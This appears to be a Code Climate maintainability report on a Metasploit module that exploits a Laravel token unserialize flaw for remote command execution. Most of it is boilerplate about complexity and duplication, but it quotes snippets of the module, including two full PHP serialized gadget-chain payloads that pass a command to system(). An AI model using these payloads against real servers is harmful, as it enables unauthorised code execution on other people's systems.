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modules/exploits/unix/http/laravel_token_unserialize_exec.rb

Summary

Maintainability
C
7 hrs
Test Coverage

Method initialize has 37 lines of code (exceeds 25 allowed). Consider refactoring.
Open

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
      'Description' => %q{
        This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
Severity: Minor
Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb - About 1 hr to fix

    Method check has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.
    Open

      def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    })
    Severity: Minor
    Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb - About 1 hr to fix

    Cognitive Complexity

    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

    A method's cognitive complexity is based on a few simple rules:

    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
    • Code is considered more complex for each "break in the linear flow of the code"
    • Code is considered more complex when "flow breaking structures are nested"

    Further reading

    Method check has 31 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

      def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    })
    Severity: Minor
    Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb - About 1 hr to fix

      Method framework_leak has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
      Open

        def framework_leak(decrypt_ex = true)
    key = ''
    if decrypt_ex
      # Possible config error / 0day found by aushack during pentest
      # Seen in the wild with recent releases
      Severity: Minor
      Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb - About 1 hr to fix

      Cognitive Complexity

      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

      A method's cognitive complexity is based on a few simple rules:

      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
      • Code is considered more complex for each "break in the linear flow of the code"
      • Code is considered more complex when "flow breaking structures are nested"

      Further reading

      Method exploit has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.
      Open

        def exploit
    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      return
      Severity: Minor
      Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb - About 45 mins to fix

      Cognitive Complexity

      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

      A method's cognitive complexity is based on a few simple rules:

      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
      • Code is considered more complex for each "break in the linear flow of the code"
      • Code is considered more complex when "flow breaking structures are nested"

      Further reading

      Method check_appkey has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.
      Open

        def check_appkey
    key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
    return key unless key.empty?

    vprint_status 'APP_KEY not set. Will try to find it...'
      Severity: Minor
      Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb - About 45 mins to fix

      Cognitive Complexity

      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

      A method's cognitive complexity is based on a few simple rules:

      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
      • Code is considered more complex for each "break in the linear flow of the code"
      • Code is considered more complex when "flow breaking structures are nested"

      Further reading

      Similar blocks of code found in 2 locations. Consider refactoring.
      Open

            payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
      Severity: Minor
      Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb and 1 other location - About 35 mins to fix
      modules/exploits/unix/http/laravel_token_unserialize_exec.rb on lines 175..175

      Duplicated Code

      Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

      Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

      When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

      Tuning

      This issue has a mass of 35.

      We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

      The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

      If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

      See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

      Refactorings

      Further Reading

      Similar blocks of code found in 2 locations. Consider refactoring.
      Open

            payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
      Severity: Minor
      Found in modules/exploits/unix/http/laravel_token_unserialize_exec.rb and 1 other location - About 35 mins to fix
      modules/exploits/unix/http/laravel_token_unserialize_exec.rb on lines 173..173

      Duplicated Code

      Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

      Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

      When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

      Tuning

      This issue has a mass of 35.

      We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

      The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

      If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

      See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

      Refactorings

      Further Reading

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